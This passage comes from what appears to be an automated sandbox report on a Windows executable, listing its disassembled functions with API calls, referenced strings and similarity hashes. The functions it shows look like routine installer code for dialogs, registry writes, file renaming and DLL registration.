Instruction Fuzzy Hash: 4EE06D32600204AFD700EB749D45ABE736CDF01329F20457BF146F20D1E6B89A41976A

Function 004063AC Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063BF
lstrlenW.KERNEL32(?), ref: 004063CC
GetVersionExW.KERNEL32(?), ref: 0040642A

Part of subcall function 0040602B: CharUpperW.USER32(?,00406401,?), ref: 00406031

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406469
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00406488
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00406492
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040649D
FreeLibrary.KERNEL32(00000000), ref: 004064D4
GlobalFree.KERNEL32(?), ref: 004064DD

Strings

GetModuleBaseNameW, xrefs: 00406494
PSAPI.DLL, xrefs: 00406464
Kernel32.DLL, xrefs: 0040659B
Module32FirstW, xrefs: 004065D3
Process32NextW, xrefs: 004065C8
EnumProcessModules, xrefs: 0040648A
CreateToolhelp32Snapshot, xrefs: 004065B5
Process32FirstW, xrefs: 004065BD
Unknown, xrefs: 004064FC
Module32NextW, xrefs: 004065DE
EnumProcesses, xrefs: 00406482

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction ID: f5db07f83b48746be4b9c4f5c588c21b75103c60b5638216cabcef37c42edb4d
Opcode Fuzzy Hash: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction Fuzzy Hash: 38919331900219EBDF109FA4CD88AAFBBB8EF44741F11447BE546F6281DB388A51CF68

Function 00405479 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054B5
ShowWindow.USER32(?), ref: 004054D2
DestroyWindow.USER32 ref: 004054E6
SetWindowLongW.USER32(?,00000000,00000000), ref: 00405502
GetDlgItem.USER32(?,?), ref: 00405523
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405537
IsWindowEnabled.USER32(00000000), ref: 0040553E
GetDlgItem.USER32(?,00000001), ref: 004055ED
GetDlgItem.USER32(?,00000002), ref: 004055F7
SetClassLongW.USER32(?,000000F2,?), ref: 00405611
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405662
GetDlgItem.USER32(?,00000003), ref: 00405708
ShowWindow.USER32(00000000,?), ref: 0040572A
EnableWindow.USER32(?,?), ref: 0040573C
EnableWindow.USER32(?,?), ref: 00405757
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040576D
EnableMenuItem.USER32(00000000), ref: 00405774
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040578C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040579F
lstrlenW.KERNEL32(00447240,?,00447240,0046ADC0), ref: 004057C8
SetWindowTextW.USER32(?,00447240), ref: 004057DC
ShowWindow.USER32(?,0000000A), ref: 00405910

Strings

@rD, xrefs: 004057B9

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: @rD
API String ID: 184305955-3814967855
Opcode ID: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction ID: 0f9b988f21b44e482dc064b3562f20aa73efc2902ac8c6ffeb9ddf27563d0ddb
Opcode Fuzzy Hash: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction Fuzzy Hash: D8C1C371500A04EBDB216F61EE49E2B3BA9EB45345F00093EF551B12F0DB799891EF2E

Function 004040B8 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040416D
GetDlgItem.USER32(?,000003E8), ref: 00404181
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040419E
GetSysColor.USER32(?), ref: 004041AF
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041BD
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041CB
lstrlenW.KERNEL32(?), ref: 004041D6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004041E3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004041F2

Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404124,?), ref: 00403FE1
Part of subcall function 00403FCA: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404124,?), ref: 00403FF0
Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404124,?), ref: 00404004

GetDlgItem.USER32(?,0000040A), ref: 0040424A
SendMessageW.USER32(00000000), ref: 00404251
GetDlgItem.USER32(?,000003E8), ref: 0040427E
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042C1
LoadCursorW.USER32(00000000,00007F02), ref: 004042CF
SetCursor.USER32(00000000), ref: 004042D2
ShellExecuteW.SHELL32(0000070B,open,00462540,00000000,00000000,00000001), ref: 004042E7
LoadCursorW.USER32(00000000,00007F00), ref: 004042F3
SetCursor.USER32(00000000), ref: 004042F6
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404325
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404337

Strings

N, xrefs: 0040426C
open, xrefs: 004042DF
@%F, xrefs: 004042A7

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: @%F$N$open
API String ID: 3928313111-3849437375
Opcode ID: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction ID: 2c1438ad93098d7b112eeb2502b55652a68651cb38e922ac8f4fb42b83a973d4
Opcode Fuzzy Hash: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction Fuzzy Hash: 0F71A4B1900609FFDB109F60DD45EAA7B79FB44305F00843AFA05B62D1C778A991CF99

Function 00406A99 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(0045B2C8,NUL), ref: 00406AA9
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AC8
GetShortPathNameW.KERNEL32(000000F1,0045B2C8,00000400), ref: 00406AD1

Part of subcall function 00405DB6: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
Part of subcall function 00405DB6: lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

GetShortPathNameW.KERNEL32(000000F1,00460920,00000400), ref: 00406AF2
WideCharToMultiByte.KERNEL32(00000000,00000000,0045B2C8,000000FF,0045BAC8,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B1B
WideCharToMultiByte.KERNEL32(00000000,00000000,00460920,000000FF,0045C118,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B33
wsprintfA.USER32 ref: 00406B4D
GetFileSize.KERNEL32(00000000,00000000,00460920,C0000000,00000004,00460920,?,?,00000000,000000F1,?), ref: 00406B85
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406B94
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BB0
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BE0
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0045C518,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C37

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C4B
GlobalFree.KERNEL32(00000000), ref: 00406C52
CloseHandle.KERNEL32(?), ref: 00406C5C

Strings

[Rename], xrefs: 00406BC8, 00406BD7
%s=%s, xrefs: 00406B43
NUL, xrefs: 00406A9E
F, xrefs: 00406AE8

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: F$%s=%s$NUL$[Rename]
API String ID: 565278875-1653569448
Opcode ID: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction ID: f97e154d5ee7f709bd30e138c0dd6e282719408add8f0d739c14b832633f1bd9
Opcode Fuzzy Hash: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction Fuzzy Hash: AE412632104208BFE6206B619E8CD6B3B6CDF86754B16043EF586F22D1DA3CDC158ABC

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,0046ADC0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction ID: e7530e13063599d95e155ed3b2c7b7521dfa2668d538c4695d9c695e9582dc0d
Opcode Fuzzy Hash: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction Fuzzy Hash: 01516C71400209AFCB058F95DE459AF7FB9FF45311F00802EF992AA1A0CB78DA55DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004130D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004130D8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: d79db666ee92a39b53e47641609ed565b43369f8775619f718224e07aa5483b4
Instruction ID: 4ea7a0066738be70411365ddd6f3e5606018e51d84950e7919a1ab5782edcef9
Opcode Fuzzy Hash: d79db666ee92a39b53e47641609ed565b43369f8775619f718224e07aa5483b4
Instruction Fuzzy Hash: 3D41BFB2D00209BFDF11AF90CE46DAEBBB9EB04704F20407BF505B61A1D6B94B509B59

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: c666975226392a23a96cc8c7abb3eb5c8f7508c76e04a15e1ccd320165ca38cb
Instruction ID: 876417c632a2c352b67fb01c84f3ccb8dada3a759dccfb7ac575e016526b3130
Opcode Fuzzy Hash: c666975226392a23a96cc8c7abb3eb5c8f7508c76e04a15e1ccd320165ca38cb
Instruction Fuzzy Hash: E231B272800115BBCB11AFA4CE45DAF7FB9EF08364F10023AF555B61E1CB794E419B98

Function 004060E7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
GetFileAttributesW.KERNEL32(0046A560,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040613C
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,0046A560,40000000,00000004), ref: 00406175
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,0046A560,40000000,00000004), ref: 00406181
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00409678), ref: 0040619B
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,004062D4,00000000), ref: 004061A2
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,004062D4,00000000,?,?,004062D4,00000000), ref: 004061B7

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 00406195, 0040619A, 004061A1, 004061B0

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-2769509956
Opcode ID: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction ID: 719ae6cd10854ac59b0cdc08190af65770ef99398ad526dd54b0ef62760a23c4
Opcode Fuzzy Hash: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction Fuzzy Hash: 4621F271400200BBD710AB64DD88D9B376CEB02370B25C73AF626BA1E1E77449868BAD

Function 00403DCA Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403DE4
GetSysColor.USER32(00000000), ref: 00403E00
SetTextColor.GDI32(?,00000000), ref: 00403E0C
SetBkMode.GDI32(?,?), ref: 00403E18
GetSysColor.USER32(?), ref: 00403E2B
SetBkColor.GDI32(?,?), ref: 00403E3B
DeleteObject.GDI32(?), ref: 00403E55
CreateBrushIndirect.GDI32(?), ref: 00403E5F

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction ID: efe235911933e34786796033030fc6f48e67331b78f43f6f4bde0ddab4ebbdd0
Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction Fuzzy Hash: 7D1166715007046BCB219F78DE08B5BBFF8AF01755F048A2DE886F22A0D774DA48CB94

Function 004023F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: %s not found in %s, xrefs: 0040249A
Error registering DLL: Could not load %s, xrefs: 004024DB

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
